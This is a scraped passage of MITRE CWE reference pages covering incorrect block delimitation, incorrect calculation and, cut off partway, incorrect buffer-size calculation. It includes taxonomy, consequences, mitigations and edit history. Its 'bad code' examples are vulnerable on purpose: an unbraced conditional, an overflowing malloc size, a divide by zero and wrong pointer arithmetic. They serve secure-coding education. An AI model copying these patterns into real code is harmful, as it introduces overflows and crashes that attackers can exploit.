For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.
+ Extended Description
In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Alter Execution Logic

This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

(bad code)
Example Language:
if (condition==true)
Do_X();
Do_Y();

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2

In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

(bad code)
Example Language:
if (condition==true) Do_X();
Do_Y();

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

+ Observed Examples
ReferenceDescription
incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail")
+ Potential Mitigations

Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPIncorrect block delimitation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2010-04-28Michael Koo and Paul BlackNIST
Correction to Demonstrative Examples
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-682: Incorrect Calculation

Weakness ID: 682
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
+ Extended Description
When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.135Incorrect Calculation of Multi-Byte String Length
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.191Integer Underflow (Wrap or Wraparound)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.369Divide By Zero
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.468Incorrect Pointer Scaling
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.469Use of Pointer Subtraction to Determine Size
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1335Incorrect Bitwise Shift of Integer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1339Insufficient Precision or Accuracy of a Real Number
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.191Integer Underflow (Wrap or Wraparound)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.369Divide By Zero
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.369Divide By Zero
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.369Divide By Zero
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.
Integrity
Confidentiality
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (Other); Execute Unauthorized Code or Commands

If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).
Access Control

Technical Impact: Gain Privileges or Assume Identity

In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.
Access Control

Technical Impact: Bypass Protection Mechanism

If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following image processing code allocates a table for images.

(bad code)
Example Language:
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2

This code attempts to calculate a football team's average number of yards gained per touchdown.

(bad code)
Example Language: Java 
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3

This example attempts to calculate the position of the second byte of a pointer.

(bad code)
Example Language:
int *p = x;
char * second_char = (char *)(p + 1);

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

+ Observed Examples
ReferenceDescription
chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)
substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed
+ Potential Mitigations

Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Phase: Implementation

Strategy: Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Phase: Architecture and Design

Strategy: Language Selection

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Phase: Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.739CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.873CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1137SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1159SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar. In many cases, lower-level children or descendants are more appropriate. However, sometimes this weakness is forced to be used due to the lack of in-depth weakness research. See Research Gaps.

Comments:

Where feasible, consider children or descendants of this entry instead.
+ Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFLP32-CCWE More AbstractPrevent or detect domain and range errors in math functions
CERT C Secure CodingINT07-CUse only explicitly signed or unsigned char type for numeric values
CERT C Secure CodingINT13-CUse bitwise operators only on unsigned operands
CERT C Secure CodingINT33-CCWE More AbstractEnsure that division and remainder operations do not result in divide-by-zero errors
CERT C Secure CodingINT34-CCWE More AbstractDo not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand
+ References
[REF-106] David LeBlanc and Niels Dekker. "SafeInt". <http://safeint.codeplex.com/>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2008-10-14CWE Content TeamMITRE
updated Type
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Applicable_Platforms
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Research_Gaps

CWE-131: Incorrect Calculation of Buffer Size

Weakness ID: 131
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.467Use of sizeof() on a Pointer Type
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1218Memory Buffer Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
